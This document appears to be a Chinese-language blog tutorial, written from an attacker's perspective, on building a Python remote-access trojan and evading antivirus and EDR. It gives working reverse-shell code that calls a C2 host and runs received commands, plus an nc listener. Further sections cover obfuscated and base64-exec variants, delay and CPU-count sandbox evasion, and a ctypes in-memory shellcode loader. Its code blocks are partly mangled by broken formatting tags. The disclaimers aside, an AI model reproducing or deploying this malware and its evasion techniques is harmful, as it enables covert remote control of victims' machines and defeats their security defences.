一、分析防线:如何绕过杀软的层层拦截?
在任何一次远控木马的攻击行动中,杀软(杀毒软件)和EDR(终端检测与响应)始终是最大的拦路虎。它们通过静态签名扫描、行为分析、内存检测等手段,试图发现和拦截恶意程序。而作为攻击者,我们的任务就很明确了:让木马程序隐藏得足够好,像幽灵一样穿越这些防线。
那么问题来了,杀软是如何检测到一个木马的?它们主要依赖以下三种机制:
- 基于特征码的静态扫描:扫描文件内容是否包含已知恶意代码的特征字符串。这种检测方式比较古老,但仍然对许多简单的马有效。
- 沙箱动态行为分析:在隔离环境中执行文件,观察是否有恶意行为(如建立C2连接、读写敏感文件等)。
- 内存扫描与注入检测:即使文件层面没有发现问题,杀软也会定期扫描内存中加载的模块,查找是否有恶意代码模式。

为对抗这些机制,我们的策略是:静态免杀、动态免杀和内存免杀三管齐下,以最大限度提高生存概率。
在本篇文章中,我将向你展示如何从零开发一个远控木马,并实现静态与动态的多层免杀技术。请记住,这些内容仅限于授权的安全研究和测试,切勿非法使用。
---
二、构建远控木马的基础组件
在开始绕杀软之前,我们需要先构建一个基础的远控木马。整个木马的核心目标是:向攻击者的C2服务器发送控制信号,并接收后续命令。

接下来,我们使用 Python 编写一个简单的木马基础框架。这个木马会实现以下功能:
- 建立反向 Shell 连接
- 接受远程命令并执行
- 将执行结果返回给C2
代码示例:基础远控木马
<pre><code class="language-python">import socket import subprocess
攻击者的C2服务器 IP 和端口
C2_HOST = "192.168.1.100" C2_PORT = 4444
def connect_to_c2():
创建与C2的连接
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((C2_HOST, C2_PORT))
while True: try:
接收 C2 下发的命令
command = conn.recv(1024).decode("utf-8") if command.lower() == "exit": break
执行命令并获取输出
output = subprocess.getoutput(command)
将命令执行结果发送回 C2
conn.send(output.encode("utf-8")) except Exception as e: conn.send(f"Error executing command: {str(e)}".encode("utf-8"))
conn.close()
if __name__ == "__main__": connect_to_c2()</code></pre>
这个木马的核心逻辑是利用 socket 模块与 C2 服务器建立通信,通过 subprocess.getoutput() 执行收到的命令并将结果返回给控制端。
测试木马功能
- 在你的攻击者机器上启动一个监听:
- 在目标机器上运行上述脚本,模拟木马感染。
- 在监听端输入命令,比如
whoami或ipconfig,观察是否能够成功返回结果。
<pre><code class="language-bash"> nc -lvp 4444 `
这只是一个最基础的木马,接下来我们将对它进行多层次免杀处理。
---
三、静态免杀:欺骗杀软的第一道防线
静态杀软的检测主要基于签名,因此只要我们的木马代码“看起来不像恶意代码”,就能够绕过这层防线。以下是常见的静态免杀技巧:
1. 字符串混淆
杀软倾向于扫描代码中的关键字,比如 socket、subprocess 等。因此,我们需要对这些敏感字符串进行混淆。例如: </code></pre>python import socket as s import subprocess as sp
C2_IP = "192" + "." + "168" + "." + "1" + "." + "100" C2_PORT = 4444
def conn_to_c2(): c = s.socket(s.AF_INET, s.SOCK_STREAM) c.connect((C2_IP, C2_PORT)) while True: cmd = c.recv(1024).decode("utf-8") if cmd == "exit": break result = sp.getoutput(cmd) c.send(result.encode("utf-8")) c.close() <pre><code> 通过改变变量名、模块名以及字符串拼接,这样的代码比原版难以被静态扫描发现。
---
2. 加密与解密
我们还可以将木马的核心代码加密,运行时再解密执行。例如:

木马核心代码(加密前):</code></pre>python def payload(): import os print("This is the malicious code.") <pre><code> 加密后的代码:</code></pre>python import base64
encrypted_code = b'ZGVmIHBheWxvYWQoKToKICAgIGltcG9ydCBv' exec(base64.b64decode(encrypted_code).decode("utf-8")) <pre><code> 通过在运行时动态解密,可以有效规避静态杀软。
---
四、动态免杀:躲过沙箱与行为分析
动态免杀的目标是让木马在沙箱中表现得像一个普通程序,从而避免被行为分析标记为恶意。以下是几种常用方法:
1. 延迟执行
许多沙箱只运行文件几秒钟,我们可以通过延迟执行绕过它们:</code></pre>python import time
time.sleep(60) # 延迟 60 秒后再执行恶意代码 <pre><code>
2. 沙箱环境检测
沙箱环境通常有一些特征,比如 CPU 核心数极少、硬盘大小很小、缺少用户活动等。我们可以利用这些特性来识别沙箱,并在检测到时停止运行:</code></pre>python import os
def detect_sandbox(): if os.cpu_count() < 2: exit() # 沙箱通常只有 1 个 CPU 核心
detect_sandbox()
恶意代码部分
<pre><code> ---
五、内存免杀:对抗深度扫描与注入检测
内存免杀的目标是让杀软无法在运行时发现恶意代码。我们可以使用以下技术:
1. 内存加载
通过将恶意代码完全加载到内存中运行,避免在磁盘上留下任何痕迹:</code></pre>python import ctypes
shellcode = b"\x90\x90\x90..." # 这是一个示例shellcode ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint32, ctypes.c_uint32] ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.memmove(ptr, shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) `
这种方式直接将 shellcode 执行在内存中,几乎不可能被静态杀软发现。
---
六、结尾思考:攻防博弈的无尽轮回
绕杀软是一个永无止境的游戏。攻击者不断开发新的免杀技术,而防御者也在更新检测策略。在这篇文章中,我们从静态免杀到内存免杀,展示了如何逐步增强木马的隐匿性。
但也需要认识到,再强的免杀技术一旦被安全研究员发现,就会迅速失效。这提醒我们:无论你是攻击者还是防御者,始终需要保持学习和创新,才能在这场攻防博弈中占据上风。
声明:本文内容仅限合法授权的安全测试,严禁用于任何非法用途,否则后果自负。